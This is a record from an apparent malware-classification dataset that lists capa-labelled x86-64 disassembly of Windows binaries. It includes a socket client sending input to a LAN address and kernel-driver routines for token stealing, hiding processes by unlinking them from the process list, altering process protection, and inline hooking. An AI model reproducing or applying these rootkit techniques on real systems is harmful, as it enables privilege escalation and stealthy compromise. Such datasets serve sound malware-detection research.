joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001060
Capabilities:
Connect socket
Convert ip address from string
Create thread
Initialize winsock library
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
xor r8d, r8d
mov ecx, ebx
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
mov ecx, 0xd2f0
mov word [rsp + 0x30], bx
mov qword [0x140005670], rax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x34]
mov ecx, ebx
lea rdx, str.192.168.0.53
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, qword [0x140005670]
lea rdx, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
xor eax, eax
lea r8, section..text
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x1e0]
mov r8d, pe_nt_image_headers64
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::getline_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [0x140005670]
lea rdx, [rsp + 0x1e0]
xor r9d, r9d
mov r8d, pe_nt_image_headers64
call qword [sym.imp.WS2_32.dll_send]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001110

Function at 0x140001cc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d12
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d14
xor al, al
add rsp, 0x28
ret
Function at 0x14001e000
Capabilities:
Create device object
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rcx
mov rdi, rdx
lea rcx, [0x140020ce0]
call sub.ntoskrnl.exe_DbgPrint
lea rcx, [0x1400233a0]
call fcn.14001f18c
test eax, eax
jns 0x14001e03e
movsxd rcx, eax
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
jmp 0x14001e131
mov qword [0x140023618], rdi
lea r8, section..data
lea rdi, [rbx + 8]
mov r9d, 0x22
mov qword [rsp + 0x30], rdi
xor edx, edx
mov byte [rsp + 0x28], 0
mov rcx, rbx
and dword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
js 0x14001e02c
lea rdx, section..data
lea rcx, [0x140023010]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
test eax, eax
jns 0x14001e09f
movsxd rcx, eax
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rdi]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
jmp 0x14001e034
lea rcx, [0x1400233a0]
call fcn.14001f05c
test eax, eax
je 0x14001e0bb
lea rcx, [0x140020d00]
call sub.ntoskrnl.exe_DbgPrint
lea rcx, [0x140020d20]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rdi]
call qword [sym.imp.ntoskrnl.exe_IoRegisterShutdownNotification]
test eax, eax
jns 0x14001e0ef
mov edx, eax
lea rcx, [0x140020d40]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, rbx
call fcn.14001ee00
jmp 0x14001e034
lea rax, [0x14001e870]
mov qword [rbx + 0xe0], rax
lea rax, [0x14001e6d0]
mov qword [rbx + 0xf0], rax
lea rax, [0x14001f050]
mov qword [rbx + 0x70], rax
lea rax, [0x14001f040]
mov qword [rbx + 0x80], rax
lea rax, [fcn.14001ee00]
mov qword [rbx + 0x68], rax
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14001e70c
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x14001e845
lea rdi, [rdx + 4]
test rdi, rdi
je 0x14001e845
mov ebp, dword [rdx]
test ebp, ebp
jne 0x14001e749
cmp r8d, 1
je 0x14001e845
mov rax, qword [rcx + 0x48]
lea rsi, [0x14001e140]
cmp rax, rsi
jne 0x14001e77a
cmp r8d, 1
jne 0x14001e77a
cmp dword [rcx + 0x54], ebp
jne 0x14001e77a
lea rcx, [0x1400207f0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xb7
jmp 0x14001e854
lea rcx, [0x14001e390]
cmp rax, rcx
jne 0x14001e795
cmp r8d, 2
jne 0x14001e795
lea rcx, [0x140020820]
jmp 0x14001e76b
cmp r8d, 1
jne 0x14001e7b2
mov edx, ebp
lea rcx, [0x140020850]
call sub.ntoskrnl.exe_DbgPrint
mov dword [rbx + 0x54], ebp
mov qword [rbx + 0x48], rsi
jmp 0x14001e7c2
mov rsi, rax
cmp r8d, 2
jne 0x14001e7c2
mov qword [rbx + 0x48], rcx
mov rsi, rcx
mov eax, 4
mov qword [rbx + 0x2a], rsi
lea rcx, [rbx + 0x58]
lea edx, [rax + 0x7c]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdi + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdi + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdi + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdi + 0x70]
add rdi, rdx
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x14001e7d2
mov rax, qword [rdi]
lea rdx, [rbx + 0x28]
mov qword [rcx], rax
mov r8d, 0xc
mov rcx, qword [rbx + 0x40]
call fcn.14001fb40
lea rcx, [0x140020860]
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
jmp 0x14001e854
lea rcx, [0x1400207d0]
call sub.ntoskrnl.exe_DbgPrint
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14001ee00
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [0x1400233e0]
test rcx, rcx
je 0x14001ee2b
mov r8d, 0xc
lea rdx, [0x1400233d4]
call fcn.14001fb40
call fcn.14001f97c
jmp 0x14001ee43
lea rcx, [0x140023010]
call qword [sym.imp.ntoskrnl.exe_IoDeleteSymbolicLink]
mov rcx, qword [rbx + 8]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
lea rcx, [0x1400208b0]
add rsp, 0x20
pop rbx
jmp sub.ntoskrnl.exe_DbgPrint
Function at 0x14001ee74
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x40], 0
mov bl, dl
lea rdx, [rsp + 0x40]
movsxd rcx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
je 0x14001eebc
cmp eax, 0xc000000d
jne 0x14001eea4
lea rcx, [0x140020600]
jmp 0x14001eeb2
cmp eax, 0xc000000b
jne 0x14001eeb7
lea rcx, [0x140020620]
call sub.ntoskrnl.exe_DbgPrint
or eax, 0xffffffff
jmp 0x14001eedd
mov eax, dword [0x140023388]
add rax, qword [rsp + 0x40]
cmp byte [rax], bl
jne 0x14001eed9
lea rcx, [0x140021110]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x14001eedb
mov byte [rax], bl
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x14001eee4
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], rsp
and qword [rax + 0x18], 0
mov edi, 0xc0000001
mov byte [rax - 0x28], 0
movsxd rcx, ecx
lea rdx, [rax + 0x18]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
je 0x14001ef62
cmp eax, 0xc000000d
jne 0x14001ef29
lea rcx, [0x140020dc0]
call sub.ntoskrnl.exe_DbgPrint
cmp ebx, 0xc000000b
jne 0x14001ef3d
lea rcx, [0x140020de0]
call sub.ntoskrnl.exe_DbgPrint
or dword [rsp + 0x24], 0xffffffff
lea rdx, [0x14001ef54]
mov rcx, qword [rsp + 0x30]
call sub.ntoskrnl.exe__local_unwind
nop
or eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov ebx, dword [0x140023384]
add rbx, qword [rsp + 0x60]
xor edx, edx
lea rcx, [0x140023390]
call qword [sym.imp.ntoskrnl.exe_ExAcquirePushLockExclusiveEx]
mov byte [rsp + 0x20], 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001efde
mov rax, qword [rbx + 8]
test rax, rax
je 0x14001efde
cmp qword [rcx + 8], rbx
jne 0x14001efd5
cmp qword [rax], rbx
jne 0x14001efd5
mov qword [rcx + 8], rax
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
and qword [rbx], 0
and qword [rbx + 8], 0
mov rcx, qword [rsp + 0x60]
call sub.ntoskrnl.exe_PsGetProcessImageFileName
mov rdx, rax
lea rcx, [0x140020e50]
call sub.ntoskrnl.exe_DbgPrint
xor edi, edi
mov dword [rsp + 0x28], edi
jmp 0x14001efeb
lea rcx, [0x140020e20]
jmp 0x14001efe5
lea rcx, [0x140020e10]
call sub.ntoskrnl.exe_DbgPrint
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14001effb
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor edx, edx
lea rcx, [0x140023390]
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
mov eax, edi
jmp 0x14001ef57
Function at 0x14001f05c
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x158
mov rax, qword [0x140023030]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
mov edx, dword [rsp + 0x2c]
lea rcx, [0x140020ea0]
call sub.ntoskrnl.exe_DbgPrint
mov edx, dword [rsp + 0x2c]
xor ecx, ecx
mov qword [0x140023380], rcx
mov dword [0x140023388], ecx
lea eax, [rdx - 0x4a61]
cmp eax, 4
ja 0x14001f0d1
mov dword [0x140023384], 0x448
mov dword [0x140023380], 0x4b8
mov dword [0x140023388], 0x87a
jmp 0x14001f16c
cmp edx, 0x47ba
je 0x14001f14e
cmp edx, 0x4563
je 0x14001f14e
cmp edx, 0x42ee
je 0x14001f12e
cmp edx, 0x3fab
je 0x14001f12e
cmp edx, 0x3ad7
je 0x14001f12e
cmp edx, 0x5867
je 0x14001f0ae
cmp edx, 0x585d
je 0x14001f0ae
cmp edx, 0x55f0
je 0x14001f0ae
lea rcx, [0x140020ec0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0xc0000001
mov dword [0x140023600], 1
jmp 0x14001f174
mov dword [0x140023384], 0x2e8
mov dword [0x140023380], 0x358
mov dword [0x140023388], 0x6ca
jmp 0x14001f16c
mov dword [0x140023384], 0x2f0
mov dword [0x140023380], 0x360
mov dword [0x140023388], 0x6fa
mov dword [0x140023600], ecx
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14001fc20
add rsp, 0x158
ret

Function at 0x14001f18c
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x40
mov rbx, rcx
test rcx, rcx
jne 0x14001f1ae
lea rcx, [0x1400207d0]
call sub.ntoskrnl.exe_DbgPrint
or eax, 0xffffffff
jmp 0x14001f28d
lea rax, [0x140021140]
mov dword [rsp + 0x20], 0x1a0018
mov qword [rsp + 0x28], rax
lea rdx, [0x140021180]
lea rax, [0x140021160]
mov dword [rsp + 0x30], 0x160014
add rcx, 0x268
mov qword [rsp + 0x38], rax
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov qword [rbx + 0x40], rax
test rax, rax
jne 0x14001f207
lea rcx, [0x1400211d0]
jmp 0x14001f1a1
and qword [rbx + 0x2a], 0
lea rcx, [0x1400211f0]
mov word [rbx + 0x28], 0xb848
mov word [rbx + 0x32], 0xe0ff
call sub.ntoskrnl.exe_DbgPrint
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov qword [rbx + 0x18], rax
test rax, rax
jne 0x14001f244
lea rcx, [0x140021210]
jmp 0x14001f1a1
and qword [rbx + 2], 0
lea rcx, [0x140021230]
mov word [rbx], 0xb848
mov word [rbx + 0xa], 0xe0ff
call sub.ntoskrnl.exe_DbgPrint
lea rcx, [0x140021250]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rbx + 0x40]
lea rcx, [0x140023390]
movsd xmm0, qword [rax]
movsd qword [rbx + 0x34], xmm0
mov eax, dword [rax + 8]
mov dword [rbx + 0x3c], eax
call sub.ntoskrnl.exe_ExInitializePushLock
xor eax, eax
add rsp, 0x40
pop rbx
ret
Function at 0x14001f294
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov qword [rsp + 0x20], rsp
and qword [rax + 0x10], 0
and qword [rax + 0x18], 0
and qword [rax - 0x30], 0
and qword [rax - 0x28], 0
movsxd rcx, ecx
lea rdx, [rax + 0x10]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
je 0x14001f327
cmp eax, 0xc000000b
je 0x14001f2f2
lea rcx, [0x140020f80]
lea rdx, [0x140020f30]
cmp eax, 0xc000000d
cmove rcx, rdx
jmp 0x14001f2f9
lea rcx, [0x140020f50]
call sub.ntoskrnl.exe_DbgPrint
lea rdx, [0x14001f310]
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe__local_unwind
nop
or eax, 0xffffffff
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
lea rdx, [rsp + 0x70]
mov ecx, 4
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
je 0x14001f37e
cmp eax, 0xc000000b
je 0x14001f35b
lea rcx, [0x140021010]
lea rdx, [0x140020fc0]
cmp eax, 0xc000000d
cmove rcx, rdx
jmp 0x14001f362
lea rcx, [0x140020ff0]
call sub.ntoskrnl.exe_DbgPrint
lea rdx, [0x14001f379]
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe__local_unwind
nop
or eax, 0xffffffff
jmp 0x14001f313
mov rcx, qword [rsp + 0x68]
call sub.ntoskrnl.exe_PsGetProcessImageFileName
mov r15, rax
mov rdx, rax
lea rcx, [0x140021050]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_PsReferencePrimaryToken]
mov rsi, rax
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x14001f3cc
lea rdx, [0x14001f3c4]
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe__local_unwind
nop
or eax, 0xffffffff
jmp 0x14001f313
mov r8, rsi
mov rdx, r15
lea rcx, [0x140021070]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_PsReferencePrimaryToken]
mov r14, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x14001f410
lea rdx, [0x14001f408]
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe__local_unwind
nop
or eax, 0xffffffff
jmp 0x14001f313
mov rdx, r14
lea rcx, [0x140021080]
call sub.ntoskrnl.exe_DbgPrint
mov edi, dword [0x140023380]
add rdi, qword [rsp + 0x68]
mov r8, rdi
mov rdx, r15
lea rcx, [0x1400210a0]
call sub.ntoskrnl.exe_DbgPrint
mov ebx, dword [0x140023380]
add rbx, qword [rsp + 0x70]
mov rdx, rbx
lea rcx, [0x1400210c0]
call sub.ntoskrnl.exe_DbgPrint
mov r8, qword [rbx]
mov qword [rdi], r8
mov rdx, r15
lea rcx, [0x1400210e0]
call sub.ntoskrnl.exe_DbgPrint
nop
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14001f47c
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14001f49e
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x14001f313
Function at 0x14001f4a8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rsp + 0x28], rsp
and qword [rsp + 0x48], 0
mov dword [rsp + 0x20], 0xc0000001
lea rdx, [rsp + 0x48]
mov ecx, 4
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x14001f502
cmp eax, 0xc000000d
jne 0x14001f4ea
lea rcx, [0x140020600]
call sub.ntoskrnl.exe_DbgPrint
cmp ebx, 0xc000000b
jne 0x14001f4fe
lea rcx, [0x140020620]
call sub.ntoskrnl.exe_DbgPrint
mov dword [rsp + 0x20], ebx
mov ebx, dword [0x140023384]
mov rcx, qword [rsp + 0x48]
add rbx, rcx
mov r8, qword [rbx]
mov eax, dword [0x140023384]
add rax, rcx
cmp r8, rax
je 0x14001f550
mov rdx, qword [rbx + 8]
lea rcx, [0x140020da0]
call sub.ntoskrnl.exe_DbgPrint
mov ecx, dword [0x140023388]
mov eax, dword [0x140023384]
sub rcx, rax
add rcx, qword [rbx]
mov byte [rcx], 0
mov rbx, qword [rbx]
mov rcx, qword [rsp + 0x48]
jmp 0x14001f510
and dword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x14001f563
add rsp, 0x30
pop rbx
ret

Function at 0x14001f570
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd rbx, dword [rdx + 0x3c]
mov r15, rdx
add rbx, rdx
mov rsi, rcx
movzx eax, word [rbx + 0x14]
lea r12, [rbx + 0x18]
mov r8d, dword [rbx + 0x54]
add r12, rax
call fcn.14001fb40
xor r13d, r13d
mov r14d, r13d
cmp r13w, word [rbx + 6]
jae 0x14001f652
mov eax, r14d
lea rdx, [0x140021320]
lea rcx, [rax + rax*4]
lea rbp, [r12 + rcx*8]
mov rcx, rbp
lea rdi, [rbp + 0x10]
call sub.ntoskrnl.exe_strcmp
test eax, eax
jne 0x14001f62e
mov edx, dword [rdi]
xor ecx, ecx
mov r8d, 0x48647742
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [0x140023110], rax
test rax, rax
je 0x14001f675
mov edx, dword [rbp + 0xc]
mov rcx, rax
mov r8d, dword [rdi]
add rdx, rsi
call fcn.140020340
mov eax, dword [rbp + 0xc]
lea rcx, [0x140021360]
add rax, rsi
mov qword [0x140023118], rax
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [rdi]
mov dword [0x140023104], eax
mov edx, dword [rbp + 0x14]
mov ecx, dword [rbp + 0xc]
add rdx, r15
mov r8d, dword [rdi]
add rcx, rsi
call fcn.14001fb40
movzx eax, word [rbx + 6]
inc r14d
cmp r14d, eax
jb 0x14001f5be
mov eax, dword [rbx + 0x28]
add rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rcx, [0x140021330]
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
jmp 0x14001f658
Function at 0x14001f97c
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x140023118]
test rcx, rcx
je 0x14001f9aa
mov rdx, qword [0x140023110]
test rdx, rdx
je 0x14001f9aa
mov eax, dword [0x140023104]
test eax, eax
je 0x14001f9aa
mov r8d, eax
call fcn.14001fb40
cmp qword [0x1400230f8], 0
je 0x14001f9e6
lea rcx, [0x140021300]
call sub.ntoskrnl.exe_DbgPrint
movsxd rax, dword [0x14000103c]
lea rcx, [0x140001054]
movsxd r8, dword [rax + rcx]
mov rdx, qword [0x1400230f8]
mov rcx, qword [0x140023108]
call fcn.14001fb40
nop
mov rcx, qword [0x1400230f8]
test rcx, rcx
je 0x14001f9fa
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rcx, qword [0x140023110]
test rcx, rcx
je 0x14001fa0e
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
add rsp, 0x28
jmp fcn.14001f688

Function at 0x14001fa1c
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
lea rcx, [0x140021380]
call sub.ntoskrnl.exe_DbgPrint
cmp qword [0x1400230d8], 0
je 0x14001fa4e
mov eax, 0xc0000001
jmp 0x14001fb30
lea rdx, [0x1400230e8]
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_IoQueryFullDriverPath]
test eax, eax
jne 0x14001fb30
lea rbx, section..text
mov r8d, 0x164f0
mov rdx, rbx
lea rcx, [0x1400230e8]
call fcn.14001f6d0
test eax, eax
jne 0x14001fb30
mov edx, 0x1d000
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov ecx, dword [rdi + 0x20]
mov r8d, 0x48647242
mov dword [0x140023128], ecx
mov rsi, rax
mov rcx, qword [rdi + 0x18]
mov qword [0x140023108], rcx
movsxd rcx, dword [0x14000103c]
movsxd rdx, dword [rcx + rbx + 0x54]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [0x1400230f8], rax
test rax, rax
je 0x14001faec
movsxd rcx, dword [0x14000103c]
mov rdx, qword [rdi + 0x18]
movsxd r8, dword [rcx + rbx + 0x54]
mov rcx, rax
call fcn.140020340
mov r8d, 0x1d000
mov rdx, rbx
mov rcx, rsi
call fcn.140020340
mov rcx, qword [rdi + 0x18]
mov rdx, rsi
call fcn.14001f570
xor edx, edx
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rcx, [0x1400213a0]
mov dword [rdi + 0x20], 0x1d000
mov qword [rdi + 0x58], rbx
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14001fb40
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rsi, r8
mov rbp, rdx
xor r9d, r9d
mov edx, esi
xor r8d, r8d
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov rbx, rax
test rax, rax
je 0x14001fbe6
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmProbeAndLockPages]
xor r9d, r9d
mov dword [rsp + 0x28], 0x10
and dword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPagesSpecifyCache]
mov edx, 4
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_MmProtectMdlSystemAddress]
test eax, eax
jne 0x14001fbe6
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
call fcn.140020340
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmUnlockPages]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
xor eax, eax
jmp 0x14001fbf5
lea rcx, [0x1400212e0]
call sub.ntoskrnl.exe_DbgPrint
or eax, 0xffffffff
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14000c43c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140014c60], rbx
je 0x14000c4a3
cmp rax, rbx
jne 0x14000c496
mov ebx, 1
mov esi, ebx
jmp 0x14000c4a8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000c47b
mov ebx, 1
mov eax, dword [0x140014c68]
cmp eax, ebx
jne 0x14000c4c0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000c52c
mov eax, dword [0x140014c68]
test eax, eax
jne 0x14000c521
mov dword [0x140014c68], ebx
lea r15, [0x14000eba0]
lea rdi, [0x14000eb88]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000c513
test eax, eax
jne 0x14000c517
cmp qword [rdi], r14
je 0x14000c508
mov rax, qword [rdi]
mov rcx, qword [0x14000eb40]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000c4ea
test eax, eax
je 0x14000c527
mov eax, 0xff
jmp 0x14000c682
mov dword [0x1400143e4], ebx
mov edi, 0x1f
mov eax, dword [0x140014c68]
cmp eax, ebx
jne 0x14000c553
lea rdx, [0x14000eb80]
lea rcx, [0x14000eb48]
call sub.msvcrt.dll__initterm
mov dword [0x140014c68], 2
test esi, esi
jne 0x14000c561
mov rax, r14
xchg qword [0x140014c60], rax
cmp qword [0x140014c80], r14
je 0x14000c594
lea rcx, [0x140014c80]
call fcn.14000ca70
test eax, eax
je 0x14000c594
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140014c80]
mov r9, qword [0x14000eb40]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000c5ad
mov eax, 0xff
jmp 0x14000c682
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000c633
test ax, ax
je 0x14000c5c8
test edx, edx
jne 0x14000c633
sub ax, bx
cmp ax, di
ja 0x14000c5de
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000c5c8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001878
mov dword [0x1400143e0], eax
cmp dword [0x140014400], r14d
jne 0x14000c61c
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400143e4], r14d
jne 0x14000c631
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400143e0]
jmp 0x14000c682
cmp ax, 0x22
jne 0x14000c647
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c5b6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140213000
add rsp, 0x28
jmp 0x14000c43c
Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
